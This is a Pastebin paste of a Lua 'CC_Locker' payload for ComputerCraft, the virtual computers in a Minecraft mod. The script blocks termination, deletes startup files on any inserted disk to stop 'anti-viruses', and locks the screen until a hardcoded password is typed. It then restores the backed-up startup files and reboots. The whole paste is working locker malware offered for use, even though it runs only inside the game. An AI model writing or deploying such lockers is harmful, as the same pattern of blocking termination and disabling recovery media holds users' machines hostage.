Advertisement
SuperRavenSn1per

CCPayload1

Mar 19th, 2019
163
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 1.29 KB | None | 0 0
  1. os.pullEvent = os.pullEventRaw
  2.  
  3. function centerText(text)
  4.   w, h = term.getSize()
  5.  
  6.   term.setCursorPos(w / 2 - math.floor(string.len(text) / 2), 1)
  7.   textutils.slowPrint(text)
  8. end
  9.  
  10. password = "123456"
  11.  
  12. term.clear()
  13. term.setCursorPos(1,1)
  14.  
  15. if fs.exists("disk") then
  16.   if fs.isDir("disk") then
  17.     if fs.exists("disk/startup") then
  18.       fs.delete("disk/startup")
  19.       print("No anti-viruses allowed: deleted disk/startup")
  20.     end
  21.     if fs.exists("disk/startup.lua") then
  22.       fs.delete("disk/startup.lua")
  23.       print("No anti-viruses allowed: deleted disk/startup.lua")
  24.     end
  25.   end
  26. end
  27.  
  28. centerText('[CC_Locker]')
  29. term.setCursorPos(1, 3)
  30. textutils.slowPrint("You're locked out! If you want to get back in then you must know the password!")
  31. print("")
  32.  
  33. while true do
  34.   textutils.slowWrite("Password: ")
  35.   input = read()
  36.  
  37.   if input == "123456" then
  38.     term.clear()
  39.     fs.delete("vPayload")
  40.     fs.delete("startup")
  41.  
  42.   if fs.exists("backup_startup") then
  43.     fs.copy("backup_startup", "startup")
  44.     fs.delete("backup_startup")
  45.   end
  46.  
  47.   if fs.exists("backup_startup_lua") then
  48.     fs.copy("backup_startup_lua", "startup.lua")
  49.     fs.delete("backup_startup_lua")
  50.   end
  51.  
  52.   shell.run("set shell.allow_disk_startup true")
  53.  
  54.     os.reboot()
  55.   else
  56.  
  57.   end
  58. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement